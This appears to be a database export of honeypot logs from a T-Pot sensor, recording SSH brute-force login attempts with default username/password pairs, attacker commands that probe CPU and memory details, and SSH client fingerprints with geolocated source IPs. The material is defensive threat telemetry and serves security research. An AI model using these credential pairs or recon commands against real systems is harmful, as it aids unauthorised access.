22065	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:28.143304+03	2021-09-20 14:15:04.450613+03	{"_id": "-wXiAnwBvYTbRNuEx_7s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [mobile/alpine] failed", "session": "9354f792962c", "@version": "1", "password": "alpine", "username": "mobile", "timestamp": "2021-09-20T11:06:28.143304Z", "@timestamp": "2021-09-20T11:06:28.143Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22066	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:28.347973+03	2021-09-20 14:15:04.451613+03	{"_id": "_AXiAnwBvYTbRNuEx_7s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/1qaz2wsx] failed", "session": "495db464133b", "@version": "1", "password": "1qaz2wsx", "username": "root", "timestamp": "2021-09-20T11:06:28.347973Z", "@timestamp": "2021-09-20T11:06:28.347Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22067	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:28.439028+03	2021-09-20 14:15:04.452614+03	{"_id": "_QXiAnwBvYTbRNuEx_7s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "45929a3d8d2b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:28.439028Z", "@timestamp": "2021-09-20T11:06:28.439Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22068	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:28.756553+03	2021-09-20 14:15:04.454613+03	{"_id": "_gXiAnwBvYTbRNuEx_7s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:28.756553Z", "@timestamp": "2021-09-20T11:06:28.756Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
22069	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:28.764237+03	2021-09-20 14:15:04.455613+03	{"_id": "_wXiAnwBvYTbRNuEx_7s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [walter/walter] failed", "session": "1ea6db3a4b69", "@version": "1", "password": "walter", "username": "walter", "timestamp": "2021-09-20T11:06:28.764237Z", "@timestamp": "2021-09-20T11:06:28.764Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22070	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:29.024798+03	2021-09-20 14:15:04.456632+03	{"_id": "AAXiAnwBvYTbRNuEx__s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d4888ec67dea", "@version": "1", "duration": 2.1967475414276123, "timestamp": "2021-09-20T11:06:29.024798Z", "@timestamp": "2021-09-20T11:06:29.024Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22071	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:29.068783+03	2021-09-20 14:15:04.457613+03	{"_id": "AQXiAnwBvYTbRNuEx__s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [iris/iris] failed", "session": "54501d7af649", "@version": "1", "password": "iris", "username": "iris", "timestamp": "2021-09-20T11:06:29.068783Z", "@timestamp": "2021-09-20T11:06:29.068Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22072	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:29.116956+03	2021-09-20 14:15:04.459614+03	{"_id": "AgXiAnwBvYTbRNuEx__s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4370b50d0e30", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:29.116956Z", "@timestamp": "2021-09-20T11:06:29.116Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22073	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:29.880106+03	2021-09-20 14:15:04.460613+03	{"_id": "DwXiAnwBvYTbRNuEyv_o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 138437184580710, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 39846, "dest_port": 22, "timestamp": "2021-09-20T11:06:29.880106Z", "@timestamp": "2021-09-20T11:06:29.880Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22074	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:29.465443+03	2021-09-20 14:15:04.461612+03	{"_id": "HQXiAnwBvYTbRNuEy__W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:53688 (192.168.176.2:22) [session: 882fee0caf1d]", "session": "882fee0caf1d", "@version": "1", "protocol": "ssh", "src_port": 53688, "dest_port": 22, "timestamp": "2021-09-20T11:06:29.465443Z", "@timestamp": "2021-09-20T11:06:29.465Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22075	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:29.394348+03	2021-09-20 14:15:04.463613+03	{"_id": "FQXiAnwBvYTbRNuEy__U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4370b50d0e30", "@version": "1", "timestamp": "2021-09-20T11:06:29.394348Z", "@timestamp": "2021-09-20T11:06:29.394Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22076	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:29.446687+03	2021-09-20 14:15:04.464613+03	{"_id": "FgXiAnwBvYTbRNuEy__U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "9354f792962c", "@version": "1", "duration": 3.07878041267395, "timestamp": "2021-09-20T11:06:29.446687Z", "@timestamp": "2021-09-20T11:06:29.446Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22077	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:29.59633+03	2021-09-20 14:15:04.466612+03	{"_id": "FwXiAnwBvYTbRNuEy__U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "495db464133b", "@version": "1", "duration": 3.377070426940918, "timestamp": "2021-09-20T11:06:29.596330Z", "@timestamp": "2021-09-20T11:06:29.596Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22078	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:29.72525+03	2021-09-20 14:15:04.467613+03	{"_id": "GAXiAnwBvYTbRNuEy__U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:29.725250Z", "@timestamp": "2021-09-20T11:06:29.725Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
22079	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:29.732229+03	2021-09-20 14:15:04.468613+03	{"_id": "GQXiAnwBvYTbRNuEy__U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [jenkins/jenkins123] failed", "session": "45929a3d8d2b", "@version": "1", "password": "jenkins123", "username": "jenkins", "timestamp": "2021-09-20T11:06:29.732229Z", "@timestamp": "2021-09-20T11:06:29.732Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22080	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:29.748433+03	2021-09-20 14:15:04.469613+03	{"_id": "IQXiAnwBvYTbRNuEy__W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53688, "dest_port": 22, "timestamp": "2021-09-20T11:06:29.748433", "@timestamp": "2021-09-20T11:06:29.748Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22081	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:29.880243+03	2021-09-20 14:15:04.471612+03	{"_id": "IgXiAnwBvYTbRNuEy__W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39846, "timestamp": "2021-09-20T11:06:29.880243", "@timestamp": "2021-09-20T11:06:29.880Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	